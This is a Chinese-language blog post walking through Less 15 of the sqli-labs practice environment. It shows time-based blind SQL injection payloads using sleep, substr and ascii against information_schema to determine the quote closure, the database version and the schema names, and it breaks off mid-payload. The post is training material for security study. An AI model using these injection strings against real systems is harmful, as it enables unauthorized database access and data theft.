sqli labs less 15

最新推荐文章于 2024-08-01 21:25:33 发布

三哥_DH

最新推荐文章于 2024-08-01 21:25:33 发布

阅读量214

点赞数

分类专栏： SQL注入文章标签：安全

本文链接：https://blog.csdn.net/Xiaoxiaoqiang_/article/details/104616675

版权

在sqli labs的less 15关卡中，通过尝试多种字符组合未发现明显错误反馈。采用时间盲注进行渗透测试，通过观察响应时间变化确定SQL语句的闭合方式。通过构造特定SQL语句，如`uname=1111’ or if((select ascii(substr((schema_name),1,1)) from information_schema.schemata limit 0,1)>1,sleep(2),0) --+`，逐步揭示数据库的版本和库名，最终确定库名为'information_schema'。" 46559663,2536827,等差数列求和公式实现,"['编程挑战', '算法', '数学运算', '等差数列', '数据结构']

摘要由CSDN通过智能技术生成

使用**’** , " , ) ,还有各种组合进行试探之后发现并没有报错信息和任何输出的位置。然后想到盲注。
时间盲注
输入1111’ or sleep(2) --+ 发现响应有延时。
在这里插入图片描述
再输入：1111’ and sleep(2) --+ 发现没有延时。

按照我之前的分析，基本可以确定是单引号闭合的语句。
接下来进行时间盲注：
uname=1111’ or if((select version()),sleep(2),0) --+ 查询版本信息
上个语句好像有瑕疵，应该输入：
uname=1111’ or if((select ascii(substr(version(),1,1))),sleep(2),0) --+ 这个语句对版本信息进行剪切，剪切第一个字母并转ASCII码。
在这里插入图片描述
进行正式注入，输入语句：
uname=1111’ or if((select ascii(substr((schema_name),1,1)) from information_schema.schemata limit 0,1)>